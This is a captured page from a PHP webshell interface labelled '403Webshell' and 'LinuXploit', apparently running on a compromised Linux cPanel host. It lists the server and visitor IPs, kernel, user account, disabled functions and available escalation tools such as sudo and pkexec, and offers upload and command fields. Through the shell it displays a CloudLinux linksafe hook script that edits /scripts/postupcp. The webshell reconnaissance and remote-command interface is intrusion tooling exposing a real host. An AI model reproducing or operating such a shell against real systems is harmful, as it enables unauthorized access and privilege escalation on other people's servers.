403Webshell
Server IP : 51.89.169.208  /  Your IP : 18.221.20.252
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/usr/share/cloudlinux-linksafe/cpanel/hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/share/cloudlinux-linksafe/cpanel/hooks/cpanel-linksafe-delete-hooks
#!/bin/bash

function deleteAllInclude(){
    hook_file="$1"
    tmp_name="$2"
    pattern="$3"
    common_path="$4"
    if [ ! -e "${common_path}/tmp" ]; then
        mkdir -p "${common_path}/tmp"
    fi
    if [ -e "${hook_file}" ];then
        cat "${hook_file}" | sed "${pattern}" > "${common_path}/tmp/${tmp_name}.tmp.$$"
        cat "${common_path}/tmp/${tmp_name}.tmp.$$" > "${hook_file}"
        rm -f "${common_path}/tmp/${tmp_name}.tmp.$$"
    fi
}

if [ ! -e "/usr/local/cpanel/cpanel" ]; then
    exit 0
fi

if [  ! -e "/proc/sys/fs/protected_symlinks_allow_gid" ]; then
    exit 0
fi

POSTUPCP="/scripts/postupcp"
TARGET="cloudlinux-linksafe"
COMMON_PATH="/usr/share/${TARGET}/cpanel/hooks"

deleteAllInclude "${POSTUPCP}" "postupcp" "/#${TARGET}/d" "${COMMON_PATH}"

chown -h :root /usr/local/cpanel/base/frontend/paper_lantern/styled/*

Youez - 2016 - github.com/yon3zu
LinuXploit